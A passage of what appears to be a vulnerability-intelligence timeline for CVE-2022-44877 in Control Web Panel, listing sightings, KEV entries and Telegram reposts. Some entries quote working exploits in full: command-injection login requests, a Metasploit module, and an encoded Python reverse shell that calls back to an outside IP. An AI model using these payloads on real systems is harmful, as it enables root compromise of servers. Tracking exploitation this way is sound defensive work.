\u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u043c\u0435\u0440\u0435 \u0438\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.", "url": "https://t.me/true_secator/5965", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-03T14:01:31.364Z", "date_only": false, "value": "2024-08-03T14:01:31.364Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-44877", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-20T17:04:34Z", "date_only": false, "value": "2024-08-20T17:04:34.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CNArsenal/392", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "7f581f15-26c4-4d12-85d1-741f99cf46a3", "content": "CVE-2022-44877\nControl Web Panel Unauth RCE\n\nPOST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}whoami.{{interactsh-url}}) HTTP/1.1\nHost: vuln\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login\n\n#exploit #poc", "url": "https://t.me/CNArsenal/392", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-11-24T14:30:15Z", "date_only": false, "value": "2024-11-24T14:30:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/jj_8tl/74", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "7e5e619a-4b79-40b3-b828-619cdacc6532", "content": "#CVE-2022-44877 Control Web Panel Unauth #RCE \n\nPOC: \nPOST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}whoami.{{interactsh-url}}) HTTP/1.1\nHost: vuln\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login", "url": "https://t.me/jj_8tl/74", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-12-24T20:33:40.714Z", "date_only": false, "value": "2024-12-24T20:33:40.714634Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971755", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "a5a5008f-67b3-402b-9fbb-6de14289a759", "url": "https://feedsin.space/feed/CISAKevBot/items/2971755"}, {"timestamp": "2025-01-29T15:24:25.768Z", "date_only": false, "value": "2025-01-29T15:24:25.768425Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-44877", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2025-01-29T15:24:25.768Z", "date_only": false, "value": "2025-01-29T15:24:25.768425Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-44877", "record": "FKIE_CVE-2022-44877", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "8e8fff02-daed-449e-ae39-e6d0056029b8"}, {"timestamp": "2025-02-23T02:10:40Z", "date_only": false, "value": "2025-02-23T02:10:40.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "415903d4-4ba5-4482-94ee-5a059dd2eb6e"}, {"timestamp": "2025-02-23T04:10:49Z", "date_only": false, "value": "2025-02-23T04:10:49.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "2a79d232-8915-43c6-9f28-32509c09244b"}, {"timestamp": "2025-06-25T05:46:17Z", "date_only": false, "value": "2025-06-25T05:46:17.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EthicalSecure/46", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "480baea3-cbed-4a24-8d68-bf205aecd6a5", "content": "\ud83d\udcbb CrystalRay xakerlar guruhi va SSH-Snake qurti\n\nSysdig tadqiqotchilari joriy yilning fevral oyidan buyon 1500 dan ortiq qurbonlarning ma'lumotlarini o'g'irlagan va ularning tizimlariga kriptominerlarni o'rnatgan CrystalRay nomli yangi kiberjinoyatchilar guruhi haqida xabar berishdi .\n\nBu xakerlar assotsiatsiyasi buzilgan serverlardan SSH kalitlarini o'g'irlaydigan va buzilgan tarmoqlar bo'ylab mustaqil ravishda tarqaladigan SSH-Snake qurtidan foydalanadi.\n\nCrystalRay Shodan kabi xizmatlar orqali ommaviy skanerlashdan foydalanadi, zaifliklardan foydalanadi va orqa eshiklarni o'rnatadi. Jinoyatchilar o'z hujumlarida zmap, asn, httpx, yadrolar, platypus va SSH-Snake vositalaridan foydalanadilar.\n\nGuruhning asosiy maqsadi hisob ma'lumotlarini o'g'irlash va sotish, kriptominerlarni o'rnatish va qurbonlar tizimlariga kirishni ta'minlashdir. Ular o'zgartirilgan ekspluatatsiyalar va Sliver asboblar to'plamidan foydalanadilar.\n\nCrystalRay o'z faoliyatida quyidagi zaifliklardan faol foydalanadi:\n\n\ud83d\uddc4 CVE-2022-44877 : Boshqaruv veb-panelidagi (CWP) zaiflik;\n\n\ud83d\uddc4 CVE-2021-3129 : Ignition-da xato (Laravel);\n\n\ud83d\uddc4 CVE-2019-18394 : Ignite Realtime Openfire-da zaiflik.\n\nSSH kalitlarini olgandan so'ng, SSH-Snake qurti ulardan yangi tizimlarga kirish, o'zini nusxalash va yangi xostlarda jarayonni takrorlash uchun foydalanadi. Bundan tashqari, SSH-Snake nafaqat infektsiyani tarqatadi, balki qo'lga kiritilgan kalitlarni va hujumlar tarixini xakerlarning C2 serveriga yuboradi va keyingi hujumlar uchun imkoniyatlar yaratadi.\n\n@EthicalSecure", "url": "https://t.me/EthicalSecure/46"}, {"timestamp": "2025-08-31T03:13:03Z", "date_only": false, "value": "2025-08-31T03:13:03.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "791da008-8cee-4d4d-a29c-3e3bff2bd236"}, {"timestamp": "2025-10-21T23:15:28.941Z", "date_only": false, "value": "2025-10-21T23:15:28.941Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-10-21T23:15:28.941Z", "date_only": false, "value": "2025-10-21T23:15:28.941Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-44877", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-22T00:32:37Z", "date_only": false, "value": "2025-10-22T00:32:37Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-FXW7-8R5Q-W2V4", "record": "GHSA-FXW7-8R5Q-W2V4", "field": "modified", "linked_record": true}, {"timestamp": "2026-02-02T12:27:06.398Z", "date_only": false, "value": "2026-02-02T12:27:06.398006Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8419ae1b-d239-4b01-a77a-b24315ae92fb", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "f3fc014f-fb6f-4cdd-a6b2-138dfb373d00", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8419ae1b-d239-4b01-a77a-b24315ae92fb", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-17T05:09:01.120Z", "date_only": false, "value": "2026-06-17T05:09:01.120", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-44877", "record": "FKIE_CVE-2022-44877", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-06-19T12:47:00.249Z", "date_only": false, "value": "2026-06-19T12:47:00.249844Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d924c0e1-3874-45fd-ab07-2f4cb0d6fa6f", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "b5a6bc56-3f4e-4eaa-b6f3-ece006ac1108", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d924c0e1-3874-45fd-ab07-2f4cb0d6fa6f", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2022-44877", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "6ae0779e-372e-4ea3-8d9d-1c86e93d5771", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:05:36.399Z", "date_only": false, "value": "2026-06-23T14:05:36.399138Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6ae0779e-372e-4ea3-8d9d-1c86e93d5771", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "f4284139-5281-4908-9184-679468640549", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6ae0779e-372e-4ea3-8d9d-1c86e93d5771", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-16T12:15:03.592Z", "date_only": false, "value": "2026-07-16T12:15:03.592012Z", "kind": "sighting", "label": "Seen", "source": "MISP/c6bff539-f10a-42a7-bc8e-83795d457e7a", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "db5649e5-a03f-486b-8589-61c8905772b1"}, {"timestamp": "2026-07-26T00:00:12.161Z", "date_only": false, "value": "2026-07-26T00:00:12.161868Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/linuxkalii/996", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "c97ee831-e20e-4dc1-9aaf-6a1d3d7ea85d", "content": "\ud83d\udcbb \u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 CrystalRay \u0438 \u0447\u0435\u0440\u0432\u044c SSH-Snake\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Sysdig \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u043e\u0432\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0435 CrystalRay, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043f\u043e\u0445\u0438\u0442\u0438\u043b\u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 1500 \u0436\u0435\u0440\u0442\u0432 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u044b \u043d\u0430 \u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u0430\u043d\u043d\u043e\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0435 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0435\u0440\u0432\u044f SSH-Snake, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043e\u0440\u0443\u0435\u0442 SSH-\u043a\u043b\u044e\u0447\u0438 \u0441\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0441\u0435\u0442\u044f\u043c.\n\nCrystalRay \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u043d\u0430\u043f\u043e\u0434\u043e\u0431\u0438\u0435 Shodan, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0431\u044d\u043a\u0434\u043e\u0440\u044b. \u0412 \u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b zmap, asn, httpx, nuclei, platypus \u0438 SSH-Snake.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u2014 \u043a\u0440\u0430\u0436\u0430 \u0438 \u043f\u0440\u043e\u0434\u0430\u0436\u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u043e\u0432 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0436\u0435\u0440\u0442\u0432. \u041e\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 Sliver.\n\nCrystalRay \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\n\ud83d\uddc4 CVE-2022-44877: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Control Web Panel (CWP);\n\n\ud83d\uddc4 CVE-2021-3129: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 Ignition (Laravel);\n\n\ud83d\uddc4 CVE-2019-18394: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Ignite Realtime Openfire.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f SSH-\u043a\u043b\u044e\u0447\u0435\u0439 \u0447\u0435\u0440\u0432\u044c SSH-Snake \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u0445 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u043d\u043e\u0432\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0431\u044f \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043d\u0430 \u043d\u043e\u0432\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, SSH-Snake \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u043d\u043e \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0430\u0442\u0430\u043a \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043d\u0430 C2-\u0441\u0435\u0440\u0432\u0435\u0440 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0430\u0442\u0430\u043a\n\n@linuxkalii", "url": "https://t.me/linuxkalii/996"}, {"timestamp": "2026-07-29T12:00:49.692Z", "date_only": false, "value": "2026-07-29T12:00:49.692445Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/8029", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "6d228fc9-89b0-47b3-a122-4f90a274d676", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-44877-white-box*\nGithub: https://github.com/hotpotcookie/CVE-2022-44877-white-box", "url": "https://t.me/CVEhub/8029"}, {"timestamp": "2026-07-29T12:00:49.991Z", "date_only": false, "value": "2026-07-29T12:00:49.991832Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/7836", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "5baafff0-53d5-41b8-b72a-340e3d62a11b", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-44877-LAB*\nGithub: https://github.com/RicYaben/CVE-2022-44877-LAB", "url": "https://t.me/CVEhub/7836"}, {"timestamp": "2026-07-31T16:00:03.991Z", "date_only": false, "value": "2026-07-31T16:00:03.991844Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/8029", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "cd88b14b-fb9d-4644-82e9-c87d79078781", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-44877-white-box*\nGithub: https://github.com/hotpotcookie/CVE-2022-44877-white-box", "url": "https://t.me/CVEhub/8029", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T17:00:04.417Z", "date_only": false, "value": "2026-07-31T17:00:04.417363Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/7836", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "7cdc06c3-a468-4d47-bcae-85bf89c252b6", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-44877-LAB*\nGithub: https://github.com/RicYaben/CVE-2022-44877-LAB", "url": "https://t.me/CVEhub/7836", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-01T20:01:05.452Z", "date_only": false, "value": "2026-09-01T20:01:05.452144Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/88124", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "0af9dc35-4f85-4e19-8afc-139b8074ccc1", "content": "Exploit Collector\nControl Web Panel Unauthenticated Remote Command Execution\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png Control Web Panel versions prior to 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful exploitation results in code execution as the root user. The results of the command are not contained within the HTTP response and the request will block while the command is running.\n\nSHA-256 | 00cb85e5ab25f2d5091aa8c72d9d5252d08919dce9dbd37743bea7469e5dbc51Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'CWP login.php Unauthenticated RCE',\n'Description' => %q{\nControl Web Panel versions < 0.9.8.1147 are vulnerable to\nunauthenticated OS command injection. Successful exploitation results\nin code execution as the root user. The results of the command are not\ncontained within the HTTP response and the request will block while\nthe command is running.\n},\n'Author' => [\n'Spencer McIntyre', # metasploit module\n'Numan T\u00fcrle' # vulnerability discovery\n],\n'References' => [\n[ 'CVE', '2022-44877' ],\n[ 'URL', 'https://github.com/numanturle/CVE-2022-44877' ],\n[ 'URL', 'https://control-webpanel.com/changelog#1674073133745-84af1b53-c121' ]\n],\n'DisclosureDate' => '2023-01-05',\n'License' => MSF_LICENSE,\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Privileged' => true,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :linux_dropper\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'SSL' => true\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\n\nregister_options([\nOpt::RPORT(2031),\nOptString.new('TARGETURI', [true, 'Base path', '/login/index.php'])\n])\nend\n\ndef check\nsleep_time = rand(5..10)\n\n_, elapsed_time = Rex::Stopwatch.elapsed_time do\nexecute_command(\"sleep #{sleep_time}\")\nend\n\nvprint_status(\"Elapsed time: #{elapsed_time} seconds\")\n\nunless elapsed_time > sleep_time\nreturn CheckCode::Safe('Failed to test command injection.')\nend\n\nCheckCode::Appears('Successfully tested command injection.')\nrescue Msf::Exploit::Failed\nreturn CheckCode::Safe('Failed to test command injection.')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\ncase target['Type']\nwhen :unix_cmd\nif execute_command(payload.encoded)\nprint_good(\"Successfully executed command: #{payload.encoded}\")\nend\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\ndef execute_command(cmd, _opts = {})\nvprint_status(\"Executing command: #{cmd}\")\n\nres = send_request_cgi(\n'method' => 'POST',\n'uri' => normalize_uri(target_uri.path) + \"?login=$(echo${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash)\",\n'vars_post' => {\n'username' => 'root', # *must* be root\n'password' => rand_text_alphanumeric(4..16),\n'commit' => 'Login'\n}\n)\n\n# the command will either cause the response to timeout or return a 302\nreturn if res.nil?\nreturn if res.code == 302 && res.headers['Location'].include?('login=failed')\n\nfail_with(Failure::UnexpectedReply, \"The HTTP server replied with a status of #{res.code}\")\nend\nend Source:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/88124"}, {"timestamp": "2026-09-01T20:01:11.869Z", "date_only": false, "value": "2026-09-01T20:01:11.869706Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/84246", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "c4aa7d31-394c-4c61-add6-550fa0247f21", "content": "Exploit Collector\nControl Web Panel 7 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png \nControl Web Panel 7 versions prior to 0.9.8.1147 suffer from an unauthenticated remote code execution vulnerability.\n\nSHA-256 | 698ef6e35dc8ca09f1857de4c6b56f25be500ed741ecd49ee2cd7f5d8dbf30ef\n\nDownload\n[+] Centos Web Panel 7 Unauthenticated Remote Code Execution\n[+] Centos Web Panel 7 - < 0.9.8.1147\n[+] Affected Component ip:2031/login/index.php?login=$(whoami)\n[+] Discoverer: Numan T\u00fcrle @ Gais Cyber Security\n[+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194\n[+] CVE: CVE-2022-44877\nDescription\n--------------\nBash commands can be run because double quotes are used to log incorrect entries to the system.\n\nVideo Proof of Concept\n--------------\nhttps://www.youtube.com/watch?v=kiLfSvc1SYY\nProof of concept:\n--------------\nPOST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1\nHost: 10.13.37.10:2031\nCookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82\nContent-Length: 40\nOrigin: https://10.13.37.10:2031\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: https://10.13.37.10:2031/login/index.php?login=failed\nAccept-Encoding: gzip, deflate\nAccept-Language: en\nConnection: close\n\nusername=root&password=toor&commit=Login\n--------------\n\nSolution\n--------\nUpgrade to CWP7 current version.\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/84246"}, {"timestamp": "2026-09-04T23:00:04.556Z", "date_only": false, "value": "2026-09-04T23:00:04.556538Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/88124", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "69f78d59-8b19-46ec-a19b-b25b885366fd", "content": "Exploit Collector\nControl Web Panel Unauthenticated Remote Command Execution\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png Control Web Panel versions prior to 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful exploitation results in code execution as the root user. The results of the command are not contained within the HTTP response and the request will block while the command is running.\n\nSHA-256 | 00cb85e5ab25f2d5091aa8c72d9d5252d08919dce9dbd37743bea7469e5dbc51Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'CWP login.php Unauthenticated RCE',\n'Description' => %q{\nControl Web Panel versions < 0.9.8.1147 are vulnerable to\nunauthenticated OS command injection. Successful exploitation results\nin code execution as the root user. The results of the command are not\ncontained within the HTTP response and the request will block while\nthe command is running.\n},\n'Author' => [\n'Spencer 